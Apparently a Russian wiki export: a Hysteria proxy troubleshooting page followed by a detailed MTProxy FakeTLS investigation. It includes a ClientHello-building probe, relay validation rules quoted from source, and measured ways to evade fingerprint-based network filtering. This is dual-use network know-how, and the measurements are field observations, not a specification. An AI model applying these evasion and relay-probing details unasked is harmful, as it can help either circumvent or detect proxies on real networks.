`pinSHA256` на клиенте. - **listen udp :443: bind: permission denied** — серверу не хватает прав на порт 443. Запуск от root или `setcap cap_net_bind_service`. - Логи сервиса всегда под рукой: `journalctl --no-pager -e -u hysteria-server.service`. ## Ошибка: timeout (no recent network activity) Полный текст: `failed to initialize client (connect error: timeout: no recent network activity)`. Это значит, что клиент **не смог достучаться до сервера**. Частые причины: - Сервер не запущен (проверьте `systemctl status hysteria-server.service`). - Порт заблокирован фаерволом. Помимо системного фаервола, у многих хостеров есть **отдельный фаервол в панели управления VPS** — про него часто забывают. - Сервер слушает другой адрес/порт, чем указан в клиенте. - Сервер слушает на сети, недоступной клиенту. - Домен не резолвится в правильный IP. - **Неверные настройки обфускации.** Если включён [[Hysteria/obfs-port-hopping|obfs]], несовпадение пароля на клиенте и сервере даёт ровно такой таймаут — как будто сервера нет. Сверьте пароль обфускации на обеих сторонах. - Слишком старое ядро Linux (известная проблема на CentOS 7). Обновите ядро или смените дистрибутив — см. [[Hysteria/install-server|требования к системе]]. > [!tip] Проверьте UDP отдельно > Hysteria работает по UDP. Многие диагностические привычки (пинг, `telnet` на порт) проверяют ICMP/TCP и ничего не скажут про UDP. Если TCP до сервера идёт, а Hysteria — нет, вероятно, провайдер или фаервол режут именно UDP на этом порту. Обходные приёмы — [[Hysteria/obfs-port-hopping|обфускация и port hopping]]; если UDP зарезан полностью, поможет только TCP-решение вроде [[VLESS/dpi-tls-june-2026|VLESS+TLS]]. ## Ошибка: authentication error (HTTP status code: 404) Полный текст: `failed to initialize client (authentication error, HTTP status code: 404)`. Клиент **дошёл до сервера, но был отвергнут**. Причины: - Неверные учётные данные — пароль на клиенте не совпадает с `auth.password` на сервере. - Подключение не к тому серверу. - На сервере неправильно настроена секция `auth`. Проверьте, что `auth` в [[Hysteria/config-client|клиенте]] в точности равен `auth.password` в [[Hysteria/config-server|сервере]] (а при `userpass`-аутентификации формат `username:password`). ## Ошибка: certificate signed by unknown authority Полный текст: `connect error: CRYPTO_ERROR ... tls: failed to verify certificate: x509: certificate signed by unknown authority`. Клиент **считает сертификат сервера невалидным**. Причины: - Сервер использует самоподписанный сертификат, а на клиенте не добавлен доверенный CA и не включён `insecure`. - В системном хранилище доверенных CA клиента нет центра, подписавшего сертификат. - Вас атакуют «человеком посередине» (MITM). Если сертификат самоподписанный — на клиенте укажите `insecure: true` вместе с `pinSHA256` (закрепление отпечатка защищает от подмены). Подробно — в [[Hysteria/config-client|конфиге клиента]], раздел про TLS. Лучший вариант вообще избежать этой ошибки — валидный сертификат через [[Hysteria/config-server|ACME]] на домен. ## Ошибка: bind permission denied на порт 443 Полный текст: `failed to load server config (invalid config: listen: listen udp :443: bind: permission denied)`. У сервера **нет прав привязаться к порту 443** (порты ниже 1024 требуют привилегий). Два решения: - Запускать сервер от root. - Выдать бинарнику capability на привязку к привилегированным портам: `sudo setcap cap_net_bind_service=+ep ./hysteria` (подставьте реальное имя файла, например `hysteria-linux-amd64-avx`). При установке [[Hysteria/install-server|официальным скриптом]] сервис обычно уже настроен на нужного пользователя — эта ошибка чаще возникает при ручном запуске бинарника. ## Где смотреть логи Диагностику всегда начинайте с логов. Для systemd-сервиса: ```sh systemctl status hysteria-server.service journalctl --no-pager -e -u hysteria-server.service ``` Рабочий сервер пишет **«server up and running»**, рабочий клиент — **«connected to server»**. Отсутствие этих строк и есть первый признак, что что-то не так. ## 📚 См. также - [[Hysteria/config-server|Конфиг сервера]] — правильная настройка `auth`, `tls`/`acme`, `listen`. - [[Hysteria/config-client|Конфиг клиента]] — `insecure`/`pinSHA256`, адрес и пароль. - [[Hysteria/obfs-port-hopping|Обфускация и port hopping]] — если UDP/QUIC режется провайдером. - [[Hysteria/install-server|Установка сервера]] — требования к системе и правам. - 🔗 [Troubleshooting — официальная документация](https://v2.hysteria.network/docs/advanced/Troubleshooting/) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Hysteria/troubleshooting.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-26 tags: - mtproto - mtproxy - faketls - clienthello - диагностика - tdesktop aliases: - Инцидент MTProxy 26 июля 2026 - Релей или клиент - Почему рабочий ключ не подключается - Диагностика FakeTLS без сборки клиента --- # 🔬 Релей или клиент: диагностика MTProxy, когда рабочий ключ не подключается ![[faketls-relay-diagnosis-header.png]] > [!info] О чём заметка > Ключ `tg://proxy?...` работает в официальном Telegram, но не работает в другом клиенте (собственной сборке, форке, экспериментальном приложении). Заметка показывает, как за несколько минут и без пересборки клиента установить, кто именно виноват — релей или клиент, — и приводит измеренные требования, которые боевые FakeTLS-релеи предъявляют к первому пакету клиента. Про то, кто вообще формирует TLS-почерк и почему обход MTProxy делается на стороне клиента, — в [[mtproxy/ja4-sni-client-side|JA4/SNI задаёт клиент]]. > [!warning] Статус данных > Все числа ниже — измерения 26 июля 2026 на боевых FakeTLS-релеях, поднятых через vpnbot: пять адресов и четыре разных порта (443, 442, 8445, 45633), с двух машин одновременно — одна на сети с активной фильтрацией, другая без неё. Каждый результат повторён минимум дважды со свежим ClientHello, а ключевые — раундами по четыре с чередованием проверяемых вариантов. Совпадение поведения разных релеев делает выводы правдоподобными для распространённых сборок, но это не спецификация: другая реализация может вести себя иначе, и проверять свой релей стоит своей пробой. --- ## Задача, ход и результат **Что было.** Форк Telegram Desktop с переработанным контуром MTProxy. Ключи, которые в официальном приложении работают, в форке не подключались: «Подключение…» по кругу, в логе — рукопожатие ушло, ответа нет. Причём не на одном релее, а на всех сразу, и к вечеру становилось хуже. Со стороны это выглядело как «форк сломан». **Чего хотелось.** Понять, где именно ломается, не гадая. Проблема в том, что клиент по своим логам этого узнать не может: FakeTLS устроен так, что отвергнутый клиент не получает отказа, а получает правдоподобный ответ камуфляжного сайта. Значит нужен взгляд снаружи — проба, которая воспроизводит путь клиента байт в байт, но запускается за минуты и без пересборки. **Что сделали.** Написали такую пробу и прошли ею весь путь: TCP → FakeTLS → obfuscated2 → `resPQ`. Дальше — серия контролируемых опытов: одна переменная за раз, руки чередуются в раундах, всё запускается с обеих машин, чтобы сеть с фильтрацией сравнивалась с сетью без неё в те же минуты. **К чему пришли.** Релеи были исправны почти всегда — ломалось четыре разных вещи, и путать их нельзя, потому что лечатся они по-разному: | механизм | как выглядит | чем лечится | |---|---|---| | **TCP до адреса не проходит** | таймаут на всех открытых портах, десятки секунд | только другой адрес | | **Имя в SNI не пропускают** | адрес отвечает (даже на мусор), но TLS с этим именем — тишина | ключ с другим маскируемым доменом | | **Отпечаток ClientHello отвергают** | часть профилей проходит 12/12, другая 3/12, на том же релее в те же минуты | профиль, который не совпадает с эталоном браузера | | **Релей теряет плечо до Telegram** | рукопожатие проходит, `resPQ` не приходит либо обратка замолкает | чинить сервер | Отдельно выяснилось, что задержка, которую пользователи ощущали как «медленный прокси», сетью вообще не создавалась: на одном и том же релее сеть с фильтрацией и сеть без неё дали одинаковые цифры. Секунды добавлял сам клиент — этому посвящена [[#Задержка где она на самом деле|отдельная глава]]. **Почему это стоит читать целиком.** Половина текста — не находки, а отвергнутые версии: размер пакета, незафлашенная запись, пост-квантовый ключ, порядок расширений, JA4, накопительный порог. Каждая выглядела убедительно и каждая закрыта измерением. Ход рассуждений тут важнее выводов: те же грабли лежат в любом расследовании такого рода. --- ## Термины (чтобы заметка читалась без контекста) - **MTProxy** — прокси-сервер, встроенный в клиенты Telegram; подключается по ссылке `tg://proxy?server=…&port=…&secret=…`. Обзор реализаций — в [[Zapret/mtproto/02-implementations|обзоре реализаций MTProto Proxy]]. - **FakeTLS (`ee`-секрет)** — режим маскировки, где первый пакет клиента выглядит как обычное TLS-рукопожатие к сайту. Секрет начинается с байта `0xEE`, за ним 16 байт ключа, а дальше — имя домена, которое клиент подставит в SNI. - **ClientHello** — первый, ещё не зашифрованный пакет TLS: список шифров, расширения, SNI. В FakeTLS в его поле `random` (32 байта на позиции 11) кладётся HMAC-SHA256 от всего пакета с занулённым этим полем. - **Камуфляж (доппельгангер)** — сайт, на который релей молча проксирует всё, что не опознал как своего клиента. Именно поэтому неудача выглядит не как отказ, а как «странный ответ». - **obfuscated2** — внутренний слой Telegram поверх FakeTLS: 64 байта инициализации, из которых выводятся ключи AES-CTR, и тег протокола в байтах 56–59. - **resPQ** — первый ответ самого Telegram (не релея) на запрос `req_pq_multi`. Дошёл resPQ — значит работает вся цепочка, а не только рукопожатие. --- ## TL;DR - Релей отвечает валидным `ServerHello` **и** когда принял клиента, и когда отправил его на камуфляж — по префиксу `16 03 03` эти случаи неразличимы, отличать нужно по HMAC ответа. - Контракт релея к ClientHello состоит из девяти требований: длина **≥ 517** и **≤ 4096** байт, SNI **строго из секрета**, `session_id` ровно **32 байта**, **первый же шифр после GREASE** из набора `1301`/`1302`/`1303`, совпадение **первых 28 байт** digest, метка времени **не в будущем** (запас ровно 3 секунды), метка времени **не слишком старая**, и **неповторяемость** client random. - Порог 517 закреплён в коде: ветка FakeTLS входит только при `(packet_len >> 24) >= 2`, то есть при длине TLS-записи не меньше 512 байт. - Сверху предел тоже есть, но далеко: 517, 600, 1200, 2000 и 3000 байт принимаются одинаково, 4096 — последняя принимаемая длина, 4097 уже уводится на камуфляж. - Внутри FakeTLS релеи принимают **только padded intermediate** (`0xdddddddd`); теги `0xeeeeeeee` и `0xefefefef` обрываются без единого байта в ответ. - Ограничение на параллельные подключения, которое часто закладывают в клиенты, у этих релеев не подтвердилось: 24 одновременных сессии дошли до resPQ за 210–520 мс суммарно. - Номер дата-центра в obfuscated2 по resPQ не проверяется: этот запрос не привязан к дата-центру, поэтому ответ приходит и при `dc = 0`, `9`, `−1`, `−2`. Считать отсюда, что релей номер игнорирует, нельзя — а ошибка в нём всплывёт позже, на настоящей сессии. - Практический вывод для клиента: часы, спешащие больше чем на 3 секунды, ClientHello короче 517 байт и повторная отправка того же самого рукопожатия ломают подключение к полностью исправному релею. - Отдельно от контракта релея есть **фильтрация по отпечатку на стороне сети**: из шести профилей ClientHello клиента два отвергаются молча (3 попытки из 12), четыре проходят всегда — один релей, один секрет, одни минуты. Клиент, по умолчанию посылающий отвергаемый профиль, выглядит как «ни один прокси не работает», хотя релеи исправны. - Блокировка отпечатка **включается со второго-третьего соединения** и дальше держится, поэтому «первые несколько соединений проходят» — это её форма, а не признак чего-то другого. - Отличать отпечатки по JA4 нельзя: он сортирует расширения и выбрасывает GREASE, и у отвергаемого профиля JA4 совпадает с проходящим буква в букву. - Задержка через прокси раскладывается на три слоя (до релея, ответ релея, релей → Telegram); измерено, что фильтрация к ней ничего не добавляет, а секунды создавал сам клиент — см. главу про задержку. - Правильный способ найти такое — **перебрать все профили клиента с проблемной машины**, собирая байты из правил самого клиента, а не строить пробу «по мотивам». - Различие двух шаблонов сузилось до **одного байта в теле GREASE-расширения**: отбираешь байт — отвергнутый шаблон проходит 6/6, добавляешь его проходящему — тот замолкает 1/6. Инверсия в обе стороны на одной сети в одни минуты. - Селектор — **не одно поле, а точное совпадение с эталоном**: значение байта (`ff` вместо `00`), его позиция (первый GREASE вместо последнего) и длина ECH payload (143 вместо 144) — каждое по отдельности снимает блокировку при неизменном остальном. Сломай любой признак, и hello проходит. - Одного хвоста недостаточно: `android_okhttp` заканчивается тем же байтом и проходит 12/12, потому что не несёт остального (ни ECH payload, ни ALPS, ни пост-квантового key_share). Отвергаются ровно те два профиля, у которых **и** хвост, **и** полный набор признаков Chromium. - Правило покрывает **весь** набор ECH-длин, из которого клиент выбирает случайно (144, 176, 208, 240): все проверенные отвергаются одинаково, так что «повезёт с длиной» не работало никогда. - Что это значит на практике: **копия должна оставаться неточной**. Любое отклонение — лишнее расширение в два байта, байт, срезанный с `enc` внутри ECH, длина ECH payload вне набора, переставленный порядок ALPN, переименованная группа key_share — снимает блокировку целиком. Проверено восемью правками по одному полю на трёх релеях. - Правило **не привязано к адресу**: та же картина воспроизведена на другом IP и на нестандартном порту 45633. Отдельно от этого бывает блокировка самого адреса — там молчит всё, включая проходящий профиль и не-TLS мусор. - Блокировка **непостоянна**: в одних прогонах эталонные hello замолкают со второго-третьего раза, в другом двадцать пять подряд прошли целиком. Значит режут выборочно и эпизодически; измерять состояние надо в момент, когда клиент уже видит тишину. - Бывает и третий случай: **адрес заблокирован, но с белым списком имён**. Из четырнадцати маскируемых доменов к такому адресу прошли только поддомены `microsoft.com` — лечится ключом с таким доменом, адрес менять не нужно. - Настоящий, побайтово браузерный ClientHello (дамп Яндекс.Браузера) эта сеть **тоже отвергает** — 1 из 6, — а наша упрощённая копия проходит 6 из 6. Значит фильтр не ищет «не-браузер», и цель «сделать отпечаток максимально похожим на настоящий браузер» неверна: похожесть тут вредит. - **Привилегированное имя в SNI отключает фильтр отпечатка целиком.** Один адрес, одни минуты: отвергаемый отпечаток с именем из секрета — 0 из 4, тот же отпечаток с `update.microsoft.com` — 4 из 4. Поэтому для своего релея правильный маскируемый домен даёт больше, чем любая работа с отпечатком. --- ## Почему «прокси не работает» — это ещё не диагноз Симптом, с которого начинается любое такое расследование, выглядит одинаково: ключ раздали пользователям, в официальном приложении он работает, а в другом клиенте — «Подключение…» по кругу. Дальше обычно начинается перебор гипотез: сервер блокируют, порт режут, секрет неправильный, DPI мешает. Перебор дорогой, потому что каждая проверка требует пересобрать клиент, а пересборка Telegram Desktop — это часы. Проблема глубже, чем медленный цикл проверки. Клиент физически не может отличить «релей меня отверг» от «релей меня принял, но что-то сломалось дальше», потому что **отвергнутый клиент не получает отказа**. Релей, не опознавший своего, не разрывает соединение и не шлёт ошибку — он проксирует байты на камуфляжный сайт, а тот отвечает своим настоящим TLS-рукопожатием. Клиент видит корректный по форме `ServerHello`, не находит в нём ожидаемого HMAC и пишет в лог что-то вроде «плохой digest» — то есть жалуется на релей, до которого его пакет даже не дошёл в качестве клиентского. Проще говоря: FakeTLS устроен так, что провал маскируется под успех. Поэтому первым делом нужно не читать код клиента, а выяснить снаружи, что именно релей считает приемлемым. --- ## Проба: четыре уровня, каждый отвечает на свой вопрос Проверка снаружи занимает минуты, потому что весь путь до Telegram воспроизводится обычным скриптом без единой строчки клиентского кода. Уровни идут по нарастанию и каждый следующий имеет смысл только после того, как прошёл предыдущий. **Уровень 1 — TCP.** Просто соединение с хостом и портом. Отсекает случаи «сервер лежит», «порт закрыт файрволом», «домен не резолвится». **Уровень 2 — FakeTLS.** Собрать канонический 517-байтный ClientHello, отправить, дождаться `ServerHello` и **проверить его HMAC**. Проверка HMAC здесь не формальность, а единственное, что отличает релей от камуфляжа. **Уровень 3 — весь путь до Telegram.** После рукопожатия отправить obfuscated2-инициализацию и запрос `req_pq_multi`, дождаться `resPQ`. Дошёл `resPQ` — релей не просто ответил, а реально пронёс запрос до дата-центра Telegram и вернул ответ. **Уровень 4 — параллелизм.** Открыть N сессий одновременно и посмотреть, сколько из них доходят до `resPQ`. Это проверка предположений, которые часто зашивают в клиент («релей отвечает только на пару рукопожатий, остальное глотает») — предположений, которые почти никогда не измеряют. Важная деталь постановки: сессии нужно **оставлять открытыми и с трафиком**, потому что клиент их держит, а проба, закрывающая соединение сразу после ответа, проверяет совсем другой режим. > [!important] Запускать пробу нужно с той машины, где симптом > Проба, прошедшая с другого хоста, не говорит о сети пользователя ничего. В разобранном случае это стоило целого ложного вывода: с внешнего сервера релей отвечал на 24 параллельных сессии, из чего был сделан вывод «клиент чист, виновата сеть или лимит на IP пользователя» — а запуск той же пробы с проблемной машины дал 17 успешных рукопожатий подряд за 21–26 мс. Сеть оказалась ни при чём, и вывод пришлось отозвать. > > Правило простое: пока проба не запущена **оттуда**, где воспроизводится симптом, гипотеза «виновата сеть» не проверена, а лишь не опровергнута. Четырёх уровней хватает, чтобы разделить «релей или клиент». Когда выяснилось, что сеть умеет отвергать выборочно, к ним добавились ещё два — и их порядок важен, потому что каждый отсекает предыдущие версии целиком: **Уровень 0 — TCP до всех открытых портов.** Если рукопожатие не встаёт вовсе, содержимое пакета уже ни при чём, и дальше идти незачем. Отличать таймаут (фильтр глотает SYN) от мгновенного отказа (порт закрыт) обязательно: это разные диагнозы. **Уровень 5 — перебор маскируемых имён.** Тот же hello к тому же адресу, меняется только имя в SNI. Критерий здесь особый — **пришёл ли хоть какой-то ответ**, а не сошёлся ли HMAC: релей сверяет имя со своей настройкой и отправляет чужое на камуфляж, поэтому по HMAC такие руки «неуспешны» всегда, и различие имён измерить было бы нельзя. Ответ камуфляжа означает ровно то, что нужно: пакет прошёл сеть. ### Минимальная проба второго уровня Скрипт ниже самодостаточен: он строит канонический ClientHello (тот, что клиенты Telegram слали до перехода на постквантовый шаблон), отправляет его и проверяет цифровую подпись ответа. `RULES` — это тот же язык блоков, которым шаблон описан в исходниках клиента: `S` — литерал, `Z` — нули под digest, `G` — пара GREASE, `R` — случайные байты, `K` — 32-байтный key share, `D` — домен из секрета, `Open`/`Close` — двухбайтовый префикс длины. ```python RULES = [ ('S', '1603010200010001fc0303'), ('Z', 32), ('S', '20'), ('R', 32), ('S', '0020'), ('G', 0), ('S', '130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f003501000193'), ('G', 2), ('S', '00000000'), ('Open', 0), ('Open', 0), ('S', '00'), ('Open', 0), ('D', 0), ('Close', 0), ('Close', 0), ('Close', 0), ('S', '00170000ff01000100000a000a0008'), ('G', 4), ('S', '001d00170018000b00020100002300000010000e000c02683208687474702f312e31' '000500050100000000000d0012001004030804040105030805050108060601' '001200000033002b0029'), ('G', 4), ('S', '000100001d0020'), ('K', 0), ('S', '002d00020101002b000b0a'), ('G', 6), ('S', '0304030303020301001b0003020002'), ('G', 3), ('S', '0001000015'), ] ``` Сборка: пройти список, дописывая байты; на месте `Z` запомнить позицию digest; добить нулями до 517 байт через расширение padding (`00 15` + длина); посчитать `HMAC-SHA256(ключ, весь пакет)` и положить в digest; наконец подмешать метку времени — **XOR последних четырёх байт digest с текущим unixtime** (little-endian). Проверка ответа: прочитать `16 03 03` + длина + тело, затем 11 байт `14 03 03 00 01 01 17 03 03` + длина и остаток. Склеить `клиентский digest + весь ответ`, занулить 32 байта на позиции 43 и сверить их с `HMAC-SHA256(ключ, склейка)`. Сошлось — ответил релей. Не сошлось (или вместо `14 03 03…` пришло что-то другое) — ответил камуфляж. ### Форматы, которые нужны, чтобы собрать пробу с нуля **ClientHello.** Байты 0–2: `16 03 01`. Байты 3–4: длина TLS-записи (big-endian). Байт 5: `01` — тип handshake. Байты 6–8: длина handshake. Байты 9–10: `03 03`. **Байты 11–42: digest.** Байт 43: длина session id (`0x20`), следом 32 байта. Затем двухбайтовая длина списка шифров и сам список, методы сжатия (`01 00`), двухбайтовая длина расширений и расширения. Порядок сборки: собрать пакет с нулями на месте digest → добить до нужной длины расширением padding (`00 15` + длина + нули) → посчитать `HMAC-SHA256(ключ, весь пакет)` → положить результат в digest → подмешать время в байты 39–42 операцией XOR с unixtime (little-endian). **ServerHello.** Ответ релея состоит из четырёх частей подряд: `16 03 03` + двухбайтовая длина + тело; `14 03 03 00 01 01`; `17 03 03` + двухбайтовая длина + тело. Подпись проверяется по склейке «клиентский digest ‖ весь ответ», в которой занулены 32 байта на позиции 43 (то есть байты 11–42 самого ServerHello). Тело последней части — случайные байты (`RAND_bytes`), и они входят в подпись наравне с остальным, поэтому проверять её можно только собрав все четыре части целиком: подпись считается по всему, что релей прислал, а не по одному ServerHello. **obfuscated2.** 64 байта случайных данных со служебными ограничениями: первый байт не `0xef`; первые четыре не равны `HEAD`, `POST`, `GET `, `OPTI`, `0xdddddddd`, `0xeeeeeeee` и `16 03 01 02`; байты 4–7 не нулевые. Ключ шифрования — байты 8–39, IV — 40–55; для расшифровки берутся те же байты 8–55, развёрнутые задом наперёд. При работе через прокси оба ключа дополнительно прогоняются как `SHA-256(ключ ‖ 16-байтовый секрет из ee-секрета)`. Байты 56–59 — тег протокола, 60–61 — `dc_id`. В сеть уходят первые 56 байт открытым текстом и байты 56–63 в зашифрованном виде, после чего поток продолжается тем же шифром. **Обёртка данных.** Перед первыми данными клиент шлёт `14 03 03 00 01 01`, дальше каждый кусок оборачивается в `17 03 03` + двухбайтовая длина. Telegram Desktop режет записи по 2878 байт. **Первый запрос.** `req_pq_multi` — конструктор `0xbe7e8ef1` и 16 байт nonce, завёрнутые в незашифрованное MTProto-сообщение: восемь нулевых байт `auth_key_id`, восемь байт `message_id`, четыре байта длины. В padded intermediate сверху добавляется четырёхбайтовая длина и случайный хвост выравнивания. Ответ Telegram — конструктор `0x05162463` (resPQ) с тем же nonce. ### Четыре ловушки, на которых легко получить ложный вывод **Ловушка первая: судить по префиксу.** `16 03 03` в начале ответа означает лишь «на том конце какой-то TLS-сервер». Камуфляжный nginx отвечает точно так же. Если считать такой ответ успехом, получится вывод вида «релей принимает ClientHello любой длины» — и он будет неверным: короткие пакеты принимал не релей, а сайт за ним. Единственный честный критерий — HMAC ответа. **Ловушка вторая: считать digest до подмешивания времени.** Клиентский digest участвует дважды: он лежит в `random` отправленного ClientHello и он же — первые 32 байта склейки, по которой проверяется `ServerHello`. Между этими двумя применениями в него подмешивается время (XOR последних четырёх байт). Если проба возьмёт digest до подмешивания, а в пакет положит после, ClientHello релей примет, а проверка ответа не сойдётся — и получится ровно тот же ложный вывод «релей отвечает мусором». Порядок один: сначала HMAC, потом XOR со временем, и только потом брать копию для проверки ответа. **Ловушка третья: писать в лог расхождение часов без точки отсчёта.** Клиент, решивший записывать, насколько его часы разошлись с истинным временем, считает разницу между системными часами и тем, что ушло в метку. Если поправки нет, в метку уходят те же системные часы, и разница выходит нулевой — при часах, спешащих на час. Ноль читается как «с часами всё хорошо», а означает «не с чем сравнить», то есть ровно тот случай, ради которого запись и заводилась. Число имеет смысл только рядом с признаком, была ли поправка вообще; и опасно не большое расхождение, а его отсутствие при отсутствующем отсчёте. **Ловушка четвёртая: переносить шаблон клиента вручную.** Если проба должна повторить именно тот ClientHello, который шлёт конкретный клиент, шаблон удобно вытащить прямо из его исходников. Регулярное выражение, не учитывающее суффиксы строковых литералов конкретного языка (в C++ это, например, `"…"_q`), молча выбросит все литералы — проба соберёт мусор, релей его не признает, и родится ложный вывод «наш клиент шлёт неправильный ClientHello». Страховка простая: перед отправкой разобрать собранный пакет как TLS и сверить, что заявленная длина записи равна `len − 5`, длина handshake равна `len − 9`, а обход расширений заканчивается ровно на конце пакета. --- ## Что релеи требуют от ClientHello Требования ниже воспроизвелись на обоих релеях одинаково, причём каждое проверялось при остальных заведомо выполненных. Порядок изложения совпадает с порядком проверок в коде официального MTProxy (`net/net-tcp-rpc-ext-server.c`), так что список можно читать и как контракт, и как маршрут отладки. ### Длина: не меньше 517 байт Порог оказался ровным и жёстким. Пакеты 450, 512, 515 и 516 байт уводятся на камуфляж, а 517 байт и всё, что длиннее, принимаются релеем. | Длина ClientHello | Релей А | Релей Б | |---|---|---| | 450 / 512 / 515 / 516 | камуфляж (alert или обрыв) | камуфляж | | **517** | **релей** | **релей** | | 518 / 600 / 1200 / 2000 / 3000 | релей | релей | Число 517 не случайно: это размер канонического FakeTLS-рукопожатия, при котором в заголовке TLS-записи оказывается длина `0x0200`. Верхняя граница тоже есть, но далеко — 4096 байт, и постквантовые шаблоны современных клиентов в 1700–2100 байт до неё не достают. > [!check] Порог виден прямо в исходниках официального MTProxy > Вся ветка FakeTLS входит по одному условию: > > ```c > } else if ((packet_len & 0xFFFFFF) == 0x010316 && (packet_len >> 24) >= 2 > && ext_secret_cnt > 0 && allow_only_tls) { > ``` > > Первая половина — это префикс `16 03 01`, вторая — старший байт длины TLS-записи, и он обязан быть не меньше двух. Значит запись ≥ `0x0200` = 512 байт, а весь ClientHello ≥ 517. Ниже этого релей в разбор рукопожатия даже не заходит. > > Ещё два ограничения из той же ветки, о которых легко забыть: > > - `if (len > min_len)` — клиент не имеет права дослать ни байта поверх ClientHello, пока не пришёл `ServerHello`. Отправка данных одним залпом с рукопожатием уводит на камуфляж. > - `int read_len = len <= 4096 ? len : 4096;` и следом `if (len != read_len)` — ClientHello длиннее 4096 байт тоже уходит на камуфляж. Верхняя граница всё-таки есть, просто далеко: постквантовые шаблоны в 1700–2100 байт до неё не достают. Проще говоря: релею нужно, чтобы первый пакет был не короче эталонного и не длиннее четырёх килобайт; всё за этими границами он за своего клиента не считает. > [!warning] Частая ошибка чтения этого кода > Внутри ветки действительно нет никакой константы 517 — там только самосогласованность: `min_len = 5 + 256 * header[3] + header[4]`, ожидание остатка при нехватке байт и отказ при избытке. Отсюда рождается вывод «официальный MTProxy примет хелло любой длины, значит порог 517 — свойство чужой сборки». Вывод неверен: порог стоит **на входе в ветку**, а не внутри неё. `packet_len` — это первые четыре байта соединения, прочитанные как little-endian: для `16 03 01 XX` получается `0xXX010316`, поэтому `packet_len >> 24` и есть старший байт длины записи. Требование `>= 2` отсекает всё короче 517 байт ещё до того, как начнётся разбор. > > Проверяется это за минуту и снаружи: 516 байт уводятся на камуфляж, 517 принимаются, граница ровная и одинаковая на двух независимых релеях. > > Побочная деталь того же выражения: `packet_len` объявлен знаковым `int`, так что при старшем байте `0x80` и выше сдвиг даёт отрицательное число и условие не выполняется. Практического значения это не имеет — такие длины давно за лимитом 4096. > > Релей, принимающий короткое рукопожатие (наблюдался случай с 270 байтами), — это не опровержение, а признак **другой сборки**. У telemt порог задан константой `MIN_TLS_CLIENT_HELLO_SIZE = 100` с комментарием «структурный минимум для валидного TLS 1.3 ClientHello с SNI, намеренно консервативный», а собственный тест проекта закрепляет её в диапазоне между 64 и 512 — то есть 512 там сознательно исключено, а не совпало. ### Метка времени: окно от минус двух часов до «сейчас» Последние четыре байта digest несут время клиента, подмешанное операцией XOR. Релей его извлекает и сверяет с собственными часами — окно оказалось узким и асимметричным. | Сдвиг часов клиента | Результат на обоих релеях | |---|---| | +0 / +1 / +2 / +3 с | релей | | +5 / +10 / +20 / +30 с, +1 мин, +1 ч, +1 сутки | камуфляж | | −1 ч, −2 ч (в удачный момент — и до −2 ч 24 мин) | релей | | −2 ч 30 мин и старше | камуфляж | Верхняя граница попадает в код официального MTProxy до секунды: `if (timestamp > now + 3)` — три секунды принимаются, пять уже нет. Совпадение настолько точное, что служит и признаком сборки: релей, прощающий ровно +3 с, — это MTProxy или совместимая с ним реализация. Нижняя граница ведёт себя иначе: она не фиксирована и **дрейфует**. Один и тот же возраст рукопожатия (2 ч 24 мин) в одном прогоне принимался, а через четверть часа — уже нет; в один и тот же момент один релей принимал возраст до 585 секунд, а второй — до 9042. Это не капризы сети, а прямое следствие второй ветки проверки: ```c if (first_client_random != NULL && timestamp > first_client_random->time + 3) return 1; const int MAX_ALLOWED_TIMESTAMP_ERROR = 10 * 60; if (timestamp > now - MAX_ALLOWED_TIMESTAMP_ERROR) return 1; ``` Проще говоря: релей принимает старое рукопожатие, только если способен проверить его на повтор, то есть если оно новее самой старой записи в кеше client random. Кеш пуст или молод — работает запасное правило «не старше десяти минут». Кеш накопил записи за пару часов — окно расширяется до них. А когда у релея несколько воркеров (`-M`), кеш у каждого процесса свой, и результат зависит от того, кому досталось соединение. Сам MTProxy об этом предупреждает — но не в том файле, где живёт разбор рукопожатия, а в `mtproto/mtproto-proxy.c`, в описании опции: «spawn several slave workers; not recommended for TLS-transport mode for better replay protection». Для клиента отсюда следовало бы, что отставание часов до десяти минут безопасно всегда. На официальном MTProxy это так, но как общее правило — неверно, и опровергается это не измерением, а исходниками других сборок: у mtg допуск по умолчанию `DefaultTolerateTimeSkewness = 3 * time.Second` и проверяется он симметрично, через `time.Since(createdAt).Abs()`. То есть на mtg часы, отставшие на четыре секунды, уже отбиваются — там, где MTProxy простил бы десять минут. Пересечение трёх реализаций даёт единственное правило, верное везде: **метка должна отличаться от истинного времени не больше чем на три секунды в любую сторону**. Всё, что шире, работает у одних пользователей и не работает у других, и разница будет не в сети, а в том, какую сборку поставил владелец релея. И обратное следствие, про которое легко забыть: **успешное рукопожатие само по себе является измерением**. Оно доказывает, что метка попала в окно, то есть часы клиента отстоят от часов релея не больше чем на десять минут и не спешат больше чем на три секунды. Одной такой записи в логе достаточно, чтобы снять с часов подозрение до конца сессии. Отсюда практическое следствие, объясняющее часть жалоб «у меня прокси не работает, а у соседа работает»: **спешащие часы на устройстве ломают FakeTLS**, и внешне это выглядит как неисправный прокси. > [!danger] На цензурируемой сети часы чинить нечем > Telegram Desktop подставляет в метку не сырые системные часы, а поправленные дважды: сдвигом по времени серверов MTProto и сдвигом по заголовку `Date` из HTTP-ответа. Обе поправки на холодном старте равны нулю, и обе требуют выйти наружу **напрямую**: время MTProto берётся из установленной сессии, а HTTP-запрос за `Date` явным образом ставит `setProxy(QNetworkProxy::NoProxy)` и мимо прокси идёт всегда. > > Ровно на той сети, где прокси и нужен, оба канала могут быть закрыты. Тогда поправка не приезжает никогда, и в FakeTLS уходят локальные часы — навсегда, а не «до первой синхронизации». Сверять часы перед тем, как винить прокси, стоит именно поэтому: у клиента может не быть способа их починить. > > Две детали той же механики, которые видно только в исходнике `lib_base/base/unixtime.cpp`. Первая: поправка по серверам MTProto не применяется, если отличается от текущей меньше чем на `kIgnoreTimeDifference = 3` секунды — а три секунды это ровно то, что релей прощает в будущее. То есть штатно отработавшая синхронизация может оставить клиента на три секунды впереди, и этого уже достаточно. Вторая: применение поправки MTProto обнуляет поправку по `Date` и сбрасывает признак её достоверности, так что точка отсчёта не только может отсутствовать изначально — она может пропасть после успешной синхронизации. ### Повторы: тот же ClientHello второй раз не принимается Отправка байт в байт того же самого пакета даёт релей на первой попытке и камуфляж на всех последующих. Это защита от повторов (replay protection), и в диагностике она важна 